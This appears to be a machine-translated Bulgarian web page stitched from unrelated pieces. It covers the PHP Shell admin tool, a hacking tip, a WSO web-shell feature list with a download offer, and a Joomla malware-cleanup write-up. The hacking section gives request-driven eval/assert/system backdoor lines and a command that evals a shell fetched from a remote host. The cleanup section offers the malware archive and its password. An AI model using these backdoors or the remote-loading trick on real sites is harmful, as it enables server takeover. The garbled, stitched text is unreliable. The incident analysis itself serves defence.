Наскоро в необятните простори на Интернет попаднах на споменаване на " PHP Shell". Преди няколко години тази помощна програма ми помогна много и сега искам да платя един вид дълг на нейния разработчик Мартин Гайслер (http://mgeisler.net/).
Каква е целта на "PHP Shell"? Вярвам, че всеки "напреднал" уеб програмист, да не говорим за системните администратори, се е сблъсквал и използвал SSH. SSH ни позволява да получаваме отдалечен достъпкъм сървъра и изпълнява команди на обвивката на него (е, има всякакви команди като преминаване през директории напред и назад, нагоре и надолу, преместване, изтриване и копиране на файлове, стартиране на скриптове и всякакви гениални помощни програми), сякаш кабел към вашия монитор от системен блоксе удължи до невероятен размер и достигна, колкото хост сървъра. Трябва да кажа, че е възможно тунелиране през ssh и X-graphics, изображение на работния плот, показващо работа прозоречни приложения, но това очевидно не е за уеб сървъри.
С една дума, ако нямате SSH на вашия хостинг, тогава "какво не е наред в датското кралство." Недостатъкът е, че често SSH е деактивиран по подразбиране на вашия „пресен“ сайт и отнема известно време да спорите с екипа за поддръжка, за да накарате ssh да работи. Точно това се случи в онази далечна зимна вечер. Трябваше спешно да прехвърля сайта от една машина на друга, при което възникнаха проблеми и по навик посягах към putty shortcut на десктопа, за да видя какво има "вътре" в пациента. Ами сега... и поддръжката на ssh не е активирана. Как да бъдем? Ако сте доста сложни в програмирането на някакъв език, тогава няма да е трудно да напишете малък скрипт, който изпълнява желаната задача. Отворих Google и след като прегледах няколко връзки, намерих споменаване на PHP Shell. С една дума, прибрах се навреме.
Честно казано, имах голям късмет, че разполагах с достатъчно опростени функции на shell, които PHP Shell ми даде - все още е негова имитация.
В основата си PHP Shell използва функцията php - proc_open. Тази функция стартира някаква команда и отваря входно-изходни потоци, за да въведе някаква информация в приложението (симулиране на ръчно въвеждане, така да се каже, на клавиатурата) и да покаже резултатите от работата (ако знаете какво представляват тръбите, тогава ние сме говорим за тях). Всъщност функцията proc_open е подобрена и разширена версия на exec или системните функции. Тези, обаче, само стартираха програмата и не дадоха възможност за взаимодействие с нея, трябва да имате веднага в параметрите командна линияпосочете всички данни, необходими за работата на командата. proc_open ви позволява да създавате канали, свързани с вашия php скрипт, и съответно можете да симулирате въвеждане в програмата и да четете резултатите от нейната работа. За влюбени безплатен хостингВеднага ще кажа:
„НЕ, НЯМА ДА ИМАТЕ ДОСТЪП ДО SSH С PHP Shell.“
Факт е, че за безплатен или много евтин хостинг е обичайно php да се изпълнява в safe_mode. Той деактивира редица функции, включително proc_open.
"НЕ, С PHPSHELL НЕ МОЖЕТЕ ДА РАБОТИТЕ С ИНТЕРАКТИВНИ ПРОГРАМИ."
Самата същност на мрежата ни казва, че не е възможно да стартираме програма на отдалечен сървър, която да продължи да работи и да ни позволи да въвеждаме и извеждаме данни по време на няколко отделни http заявки.
„НЕ, НЕ МОЖЕТЕ ДА ИМАТ ДОСТЪП ДО ВСИЧКИ ПРОГРАМИ, ФАЙЛОВЕ И ПАПКИ НА СЪРВЪРА.“
Скриптът работи или от името на apache и тогава неговите възможности са ограничени само от това, което акаунтът на apache има права да прави. Или алтернативно, ако suexec се използва на хостинга (http://en.wikipedia.org/wiki/SuEXEC), тогава вашите права ще съвпадат с правата сметкаот който се стартира php скрипта.
Да приемем, че това не ви е спряло и сте изтеглили и разопаковали архива на вашия сървър в папка, да речем phpshell. Ако въведете „something-is-your-site/phpshell/phpshell.php“ в адресната лента на вашия браузър, ще бъдете помолени да се представите, въведете име и парола – разбира се, това не са идентификационните данни, които вие получени от вашия домакин
Така че трябва да зададете разрешения: кой има достъп до обвивката чрез тази помощна програма. За да направите това, във файла config.php намерете раздела потребители и добавете потребителското име и паролата към него в следната форма:
Васяно=тайна
Ако сте объркани от факта, че паролата е зададена в чист текст, тогава с помощта на файла pwhash.php можете да откриете гънката на паролата md5 и тя ще бъде съхранена във файла config.php
Сега се опитваме да влезем отново и да влезем в прозореца, където въвеждаме командата в долната част на прозореца, щракнете върху „изпълни“ и след това резултатът от нейното изпълнение се показва в центъра на прозореца на страницата
Това е всичко, може би phpshell ще ви помогне по някакъв начин.
Не че статията, но много ще бъдат полезни. И така, влязохме в админ панела, в крайна сметка успяхме да пъхнем някъде следния код, например:
if (isset($_REQUEST["e"])) eval(stripslashes($_REQUEST["e"]));
или просто:
assert(stripslashes($_REQUEST));
stripslashes в този случай единствено за заобикаляне на magic_quotes=ON
много вмъкват
система ($_GET["cmd"])
И други безобразия, но всичко това е излишно, всъщност всичко е по-просто. Така че вкарвате даден коднякъде (във faq.php или вече имате точно такава задна врата някъде в недрата на сървърните скриптове).
Тези. в крайна сметка, например, сте постигнали ефективността на следната връзка:
http://localhost/user.php?e=phpinfo();
И след това много начинаещи имат ступор. Непосредственият следващ въпрос е какво да правя след това?
И нека да разгледаме по-отблизо тази phpinfo, която ни доведе до основните две точки, които ще ни интересуват в тази ситуация:
позволи_url_fopen
позволи_url_включване
позволи_url_включване
Да, калай, разбира се, но, като правило, изключен.
останки
И той, като правило = ON. Как можем да използваме тази възможност, безразсъдно изоставена от администратора, за да не се тревожим твърде много (не търсете папки, които могат да се записват и откривайте подобни глупости и не попълвайте черупката като такава, а се изкачете на сървъра, сякаш черупката вече е наводнена). Да, много просто. Ако
allow_url_fopen = ВКЛ
И имате код, който извежда най-малкото, че вече сте прочели всички конфигурации, обединили сте всичко необходимо и т.н. (не бъркайте с "разваляне", само това, което може да се прочете)
Взимаме последната черупка от уважаемия orRb, премахнете първия ред:
+
изтрийте последното
+
можете да изтриете паролата, ние не попълваме черупката, ние просто я използваме, без да напускаме
запишете на произволен хост като bla_bla.txt(същият narod.ru е доста подходящ) или под формата на картина в услуга за хостинг на файлове, която предоставя директни връзки за изтегляне на съдържание и направете следната заявка:
Код:
http://localhost/user.php?a=eval(file_get_contents("http://site.ru/bla_bla.txt"));
Всичко. Имате пълноценна обвивка без физическото й качване на сървър с всички обичайни функции на обвивката. Благодаря за вниманието
ПС:тестван на WSO2.4 ( wso2_pack.php)
Описание на черупката:
Упълномощаване
Информация за сървъра
Файлов мениджър (копиране, преименуване, преместване, изтриване, chmod, докосване, създаване на файлове и папки)
Преглед, hexview, редактиране, изтегляне, качване на файлове
Работа с zip архиви (опаковане, разопаковане)
Конзола
SQL мениджър (MySql, PostgreSql)
Изпълнение на PHP код
Работа с низове + хеш търсене в онлайн бази данни
Bindport и обратна връзка (Perl)
Намиране на текст във файлове
*nix/windows
От чипс
Анти-търсачка (проверява се от User-Agent, ако търсачката се връща грешка 404)
Конзолата запомня въведените команди. (можете да навигирате през тях, като използвате стрелките нагоре и надолу, когато фокусирате върху полето за въвеждане)
Можете да използвате AJAX
Леко тегло (24,32 KB)
Избор на кодирането, в което работи обвивката.
Тази помощна програма предоставя уеб интерфейс за отдалечена работа с операционната система и нейните услуги/демони.
Използването на този продукт за незаконни цели е криминално престъпление.
Архивът съдържа най-новата версия на shell и малък инструмент WSOmanager за работа с shell.
Изтеглете обвивката:
Открит е злонамерен WSO PHP shell скрипт /libraries/simplepie/idn/OpenIDOpenID.php (сайт на Joomla! 3). В момента се открива само от някои антивируси като JS/SARS.S61, PHP:Decode-DE, Trojan.Html.Agent.vsvbn, PHP.Shell.354, php.cmdshell.unclassed.359.UNOFFICIAL.
В един "красив" (като някой) ден, един от нашите подопечни (http://ladynews.biz), в резултат на сканиране на сайта му с хостинг антивирус, получи следното съобщение:
В акаунта са открити файлове със злонамерено съдържание. Силно препоръчваме да ограничите достъпа до вашия FTP акаунт само от IP адресите, които използвате, както и да използвате антивирусна защита, за да проверите акаунта си за вируси. Вижте съвети за сигурност и хакерство, за да предотвратите повторно заразяване.
Разбира се, беше предложено да се справим с този позор - сканирането с обикновения антивирус ClamAV, с набор от антивирусни бази данни по подразбиране, не даде никакви допълнителни резултати.
В началото на тази история (2015-10-23) този скрипт на обвивката на вируса липсваше в антивирусните бази данни на повечето антивируси, включително такива „чудовища“ като Comodo, DrWeb, ESET-NOD32, GData, Kaspersky, McAfee, Microsoft, Symantec, TrendMicro и т.н., което също беше потвърдено от онлайн скенер на 23.10.2015 г. VirusTotal. Само няколко антивирусни програми успяха да открият злонамерен PHP скрипт:
Дата на актуализиране на антивирусен резултат AhnLab- V3 JS/ SARS. S61 20151022 Avast PHP: Decode- DE [Trj] 20151023 NANO- Антивирусен троянски кон. html. агент. vsvbn20151023
В същия ден ClamAV и Dr.Web бяха уведомени за откриването на злонамерен скрипт. ClamAV все още упорито мълчи, а Dr.Web реагира на злонамерения пакет в рамките на 24 часа:
Вашата заявка е анализирана. Съответният запис е добавен към вирусната база данни на Dr.Web и ще бъде достъпен при следващата актуализация.
Заплаха: PHP.Shell.354
Dr.Web спази обещанието си и скрипта за вируси OpenIDOpenID.php вече се дефинира като PHP.Shell.354, обаче много антивируси като ClamAV, Comodo, DrWeb, ESET-NOD32, GData, Kaspersky, McAfee, Microsoft, Symantec, TrendMicro и т.н. все още нямат представа за това (от 2015-10-25).
Добре, изтрихме файла, но за колко време? Откъде идва, можем само да гадаем. Какво следва? Започваме да инсталираме всякакви компоненти на Securitycheck и изкривяваме правилата в .htaccess, забраняващи достъпа до всичко и всичко, защото на споделен хостинг (известен още като споделен хостинг, споделен хостинг) нямаме правомощия за повече. Докога тези мерки ще спестят, никой не знае.
Говорейки за всички видове компоненти на Securitycheck... Проверка за безопасносте компонент за Joomla! и доста добре. И тук е " Антивирусна защита на уебсайтове„Пълна глупост, която силно не препоръчвам на никого да използва, ето тестван от практиката преглед за тази „Антивирусна защита на уебсайтове“:
Този компонент също създава файл pack.tar във вашия /tmp, който съдържа вашия configuration.php и всички други намерени пароли! Бъдете наясно
Което в превод означава: "този компонент създава и резервно копие на целия сайт във файла /tmp/pack.tar, който съдържа configuration.php с пароли от базата данни! ВНИМАВАЙТЕ" - това показва, че "Защита на уебсайта" от този компонент и не мирише, което също трябва да накара жертвата да мисли за промяна на пътищата към директориите /logs, /tmp, /cache и отказ на достъп до тях.
Минавам тази връзкаМоже да се разбере, че проблемът е поне на повече от година. Търся тукнека разберем, че скриптът на обвивката не е маскиран от трудни base64_encode/gzdeflate, което означава, че трябва да има някъде другаде част, която извиква/свързва OpenIDOpenID.php и изпълнява base64_decode/gzinflate. Така че OpenIDOpenID.php е само резултат (известен още като следствие), а не причина, когато жертвата се оплаква, че спамът е започнал да се изпраща от сървъра в индустриален мащаб и ръчното премахване на злонамерени файлове не помага, след което жертвата се оплаква, освен че NIC-RU не хоства никой друг. „Пропуснатият“ виртуален хостинг може да е много добър. дори често, IMHO, хората работят там за заплата, а не за идея, но в някои случаи проблемът може да бъде много по-дълбок.
Ето например " Открит злонамерен iFrame инжектор в Adobe Flash файл". Мисля, че не е тайна за никого, че можете да пишете интерфейси за качване на файлове на сайт във флаш и да правите много други интересни неща на езика ActionScript. Вирус в .swf файлове (Adobe Flash), както показа практиката, може да остане незабелязан с години и да бъде черна врата в сайта ( известен още като задна врата - задна врата), през който се "хвърлят" файлове като "OpenIDOpenID.php", които могат да се трият до посиняване и безрезултатно.
Какво да направите, как да намерите "слабата връзка" сред хилядите файлове? За да направите това, трябва да използвате така наречения евристичен анализ и в някои случаи да използвате антивирусни бази данни на трети страни. Трябва да се има предвид, че евристичният анализ, в зависимост от неговите настройки, може да даде много фалшиви положителни резултати, отколкото при използване на допълнителни вирусни подписи от разработчици на трети страни.
Къде мога да получа антивирусни бази данни на трети страни? Например бази данни с антивирусни подписи от разработчици на трети страни за ClamAV могат да бъдат изтеглени безплатно на следните адреси: www.securiteinfo.com, malwarepatrol.net, rfxn.com. Как да използвате тези допълнителни антивирусни бази данни? Това ще бъде съвсем различна история. Можем само да кажем, че допълнителни антивирусни бази данни за ClamAV от rfxn.com ( LMD (Linux Malware Detect) проект) са насочени към намиране на зловреден софтуер конкретно в уеб приложения и дават по-добри резултати. rfxn.com също така заявява, че 78% от заплахите, чиито пръстови отпечатъци се съдържат в тяхната база данни, не се откриват от повече от 30 търговски антивируса - и най-вероятно са.
И така... Как завърши историята със злонамерения PHP shell скрипт OpenIDOpenID.php?
Беше решено да се запасят с допълнителни антивирусни бази данни за ClamAV от malwarepatrol.net и rfxn.com, да се изтегли резервно копие на файловете на сайта и да се сканират локално, ето резултатът от сканирането:
$ clamscan / ladynews.biz / ../ game_eng.swf: MBL_647563.НЕОФИЦИАЛНО НАМЕРЕНО / ../ farmfrenzy_pp_eng.swf: MBL_647563.НЕОФИЦИАЛНО НАМЕРЕНО / ../ beachpartycraze_eng.swf: MBL_2934225.НЕОФИЦИАЛНО НАМЕРЕНО / ../ hollyswf:deluxe MBL_647563.НЕОФИЦИАЛНО НАМЕРЕНО / ../ loader_eng.swf: MBL_647563.НЕОФИЦИАЛНО НАМЕРЕНО ----------- РЕЗЮМЕ НА СКАНИРАНЕ ----------- Известни вируси: 4174348 Версия на двигателя: 0.98.7 Сканирани директории: 3772 Сканирани файлове: 18283 Заразени файлове: 5 Общо грешки: 1 Сканирани данни: 417,76 MB Прочетени данни: 533,51 MB (съотношение 0,78 :1) Време: 1039,768 сек (17 m 19 s)
/libraries/simplepie/idn/OpenIDOpenID.phpкато гореспоменатите .swf файлове са премахнати, но проблемът решен ли е? Въпреки че е трудно да се каже, ние копаем по-нататък ...
От дешифрираната версия на файла /libraries/simplepie/idn/OpenIDOpenID.php(http://pastebin.com/WRLRLG9B) като погледнете константата @define("WSO_VERSION", "2.5"); , става ясно, че това е един вид продукт, наречен WSO. След малко ровене в мрежата за ключовата дума WSO се получиха следните резултати:
Оказва се, че темата не е нова от дълго време, така че вземаме regexxer в зъбите, продължаваме да ровим файловете на сайта и намираме: Грешка при отваряне на директория "/home/user/libraries/joomla/cache/controller/cache" : Разрешението е отказано
Да, ето те, къде другаде боли! Разглеждаме правата върху директорията, които по подразбиране не трябва да бъдат = chmod 111 (известен още като Run for Owner / Group / Everyone). Така нещо седи някъде и се разпространява из каталозите, криейки се дори от вируси с chmods 111.
След като зададох chmod 551 за директорията и погледнах вътре, беше намерено там /libraries/joomla/cache/controller/cache/cache/langs.php, чийто изходен код е публикуван тук: http://pastebin.com/JDTWpxjT - директория /libraries/joomla/cache/controller/cacheИзтрий.
Страхотно, сега поставяме chmods във всички файлове и директории по ред:
# масова промяна на правата (chmod) върху файлове в директорията ./dirname и по-долу find / home/ user/ public_html -type f -exec chmod 644 ( ) \; # Масова промяна на разрешения (chmod) към /dirname и по-долу find / home/ user/ public_html -type d -exec chmod 755 ( ) \;
Още веднъж повтаряме антивирусната проверка с допълнителни бази данни clamscan /ladynews.biz, но уж всичко е чисто.
Повтаряме търсенето на файлове с regexxer и се опитваме да търсим по ключовите думи OpenIDOpenID, OpenID или WSO - и стигаме до извода, че адът е много по-широк и по-дълбок:
- - не трябва да е тук, ето източника му: http://pastebin.com/jYEiZY9G
- /administrator/components/com_finder/controllers/imagelist.php- не трябва да е тук, ето източника му: http://pastebin.com/0uqDRMgv
- /administrator/components/com_users/tables/css.php- не трябва да е тук, ето източника му: http://pastebin.com/8qNtSyma
- /administrator/templates/hathor/html/com_contact/contact/toolbar.trash.html.php- не трябва да е тук, ето източника му: http://pastebin.com/CtVuZsiz
- /components/com_jce/editor/tiny_mce/plugins/link/img/Manager.php- не трябва да е тук, ето източника му: http://pastebin.com/2NwTNCxx
- /libraries/joomla/application/web/router/helpsites.php- не трябва да е тук, ето източника му: http://pastebin.com/ANHxyvL9
- /plugins/system/ytshortcodes/XML.php- не трябва да е тук, ето източника му: http://pastebin.com/GnmSDfc9
- /templates/index.php - не трябва да е тук, ето източника му: http://pastebin.com/gHbMeF2t
/administrator/components/com_admin/index.phpи /templates/index.php вероятно са скриптове за въвеждане, които изпълняват основния код с силно остарялата функция eval(), която също използва:
Е, логиката на маскирането на зловреден код е ясна. Сега, ако потърсим конструкцията " eval($ "), ще открием много по-интересни неща:
- /administrator/components/com_admin/sql/updates/postgresql/php.php- http://pastebin.com/gRHvXt5u
- /components/com_kunena/template/blue_eagle/media/iconsets/buttons/bluebird/newsfeed.php -
- /components/com_mailto/helpers/index.php -
- /components/com_users/views/login/file.php -
- /components/com_users/controller.php- заразен и трябва да бъде заменен!,
- /включва/index.php -
- /libraries/joomla/string/wrapper/section.php -
- /libraries/legacy/access/directory.php -
- /libraries/nextend/javascript/jquery/InputFilter.php -
- /libraries/nextend/smartslider/admin/views/sliders_slider/tpl/config_tinybrowser.php -
- /libraries/xef/assets/less/admin.frontpage.php -
- /media/editors/codemirror/mode/rust/Alias.php -
- /modules/mod_kunenalatest/language/zh-TW/smtp.php -
- /modules/mod_kunenalogin/language/de-DE/XUL.php -
- /plugins/content/jw_allvideos/jw_allvideos/includes/js/mediaplayer/skins/bekle/CREDITS.php -
- /templates/sj_news_ii/html/mod_sj_contact_ajax/toolbar.messages.php -
Не всички вирусни PHP скриптове са публикувани на pastebin.com, защото са разрешени само 10 публикации в рамките на 24 часа. Като цяло процедурата за премахване е приблизително следната:
Да, почти забравих - преди да започнете да премахвате злонамерени скриптове, няма да навреди да добавите няколко правила към .htaccess, които забраняват директния достъп до всички .php файлове във всички директории, но позволяват достъп само до основните файлове / или /index .php и /administrator/ или /administrator/index.php - това ще попречи на натрапник да получи достъп до входящи шел скриптове, скрити в различни системни директории:
UPD 2015-10-28: Е, какво? Вече сте се отпуснали? Твърде рано е...
Сега нека погледнем в дивата природа на файловете на сайта за двоични файлове, които изобщо не трябва да са в двигателя:
find / mypath/ -изпълним -type f find / mypath/ -type f -perm -u+x find / mypath/ -type f | xargs файл | grep "\:\ *data$"
Който търси, винаги ще намери (двоични файлове):
- /modules/mod_p30life_expectancy_calc/tmpl/accordian.pack.js
- /images/stories/audio/34061012-b1be419af0b9.mp3
- /libraries/xef/sources/folder/navigation.php
- /libraries/joomla/application/web/application.php
- /libraries/joomla/document/json/admin.checkin.php
- /libraries/nextend/assets/css/LICENSE.php
- /libraries/fof/config/domain/toolbar.categories.html.php
- /libraries/fof/form/field/client.php
- /libraries/phputf8/sysinfo_system.php
- /components/com_mobilejoomla/index.php
- /components/com_mobilejoomla/sysinfo_system.php
- /components/index.php
- /components/com_banners/sysinfo_config.php
- /components/com_kunena/views/home/admin.checkin.php
- /components/com_jce/editor/tiny_mce/plugins/source/js/codemirror/toolbar.checkin.php
- /components/com_jce/editor/tiny_mce/plugins/colorpicker/admin.cache.php
Нека да обобщим
Не беше възможно надеждно да се установи откъде са израснали краката на тази инфекция - дали критична уязвимост, наскоро открита в двигателя, която позволява SQL инжектиране и ескалация на привилегии, е виновна, или гореспоменатите, маркирани като злонамерени .swf файлове, или кои такъв все още не е открит досега. Има ли уязвимост в някой от компонентите или добавките на трети страни или празен виртуален уеб хостинг - въпросът остава отворен?
В момента засечените злонамерени файлове са изчистени, файловете на двигателя са напълно прекачени, барикади са изградени в правилата .htaccess ... Който има време и който има интерес да сглоби и да разрови тази група на лайна може изтеглете архив wso-php-shell-in-joomla.zip- всички злонамерени PHP файлове, споменати по-горе, са опаковани там, паролата за архива е: www.website
ОБЩО: Никога няма твърде много параноя и всеки безплатен или комерсиален антивирус с неговите евристики, заедно с допълнителни бази данни със сигнатури, далеч не е панацея. Следователно всеки антивирус е остарял инструмент за защита на активна многопотребителска среда и за предотвратяване на различни неизвестни заплахи трябва да се използват параноични методи за защита, например: виртуализация, SELinux, Bastille Linux, immutable bit, ecryptfs и т.н.!
- Заплаха: WSO PHP Web Shell
- Жертва: ladynews.biz
Зареждане...